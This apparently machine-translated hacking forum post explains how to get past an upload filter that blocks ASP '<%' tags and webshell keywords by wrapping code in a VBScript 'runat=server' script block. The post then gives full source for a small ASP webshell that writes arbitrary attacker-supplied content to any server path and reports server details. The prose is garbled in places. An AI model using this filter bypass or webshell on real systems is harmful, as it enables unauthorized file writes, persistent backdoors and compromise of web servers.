Upload pony through top-notch monitoring

 

By: stuffy beans

 

I saw a website today. The upload vulnerability exists.

 

But the tragedy is that. How to transfer. Are all blank. Experience tells me. I met a first-class monitoring system.

 

Checks whether an invalid character exists in the file. Invalid characters are the keywords they have set. Generally, they are all keywords such as web horse.

 

As long as it exists. Filter the entire file to a blank space. That's why I met the same thing today.

 

Upload test.

 

Found. He not only filters out general key words and sentence functions. ==|||

 

He directly determined whether there exists <%> This is where all asp exists = !! Asp.

 

How can I lose <%>?

 

How to break through? I saw something when I opened my sentence.

 

As follows:

 

// Not required <%>

 

Isn't that the general script writing method. Then I was inspired by this stuff.

 

I will change a pony to this method.

 

The result is uploaded successfully. Not filtered. Haha.

 

Code:

 

<Script language = VBScript runat = server>

Dim da

Set fso = server. createobject ("scripting. filesystemobject ")

Path = request ("path ")

If path <> "" then

Data = request ("da ")

Set da = fso. createtextfile (path, true)

Da. write data

If err = 0 then

Response. Write "yes"

Else

Response. Write "no"

End if

Err. clear

End if

Set da = nothing

Set fos = nothing

Response. Write "<form action ='' method = post>"

Response. Write "<input type = text name = path>"

Response. Write "<br>"

Response. Write "current file path:" & server. mappath (request. servervariables ("script_name "))

Response. Write "<br>"

Response. Write ":" & Request. ServerVariables ("OS ")

Response. Write "<br>"

Response. Write "WEB server version:" & Request. ServerVariables ("SERVER_SOFTWARE ")

Response. Write "<br>"

Response. Write "<textarea name = da cols = 50 rows = 10 width = 30> </textarea>"

Response. Write "<br>"

Response. Write "<input type = submit value = save>"

Response. Write "</form>"

</Script>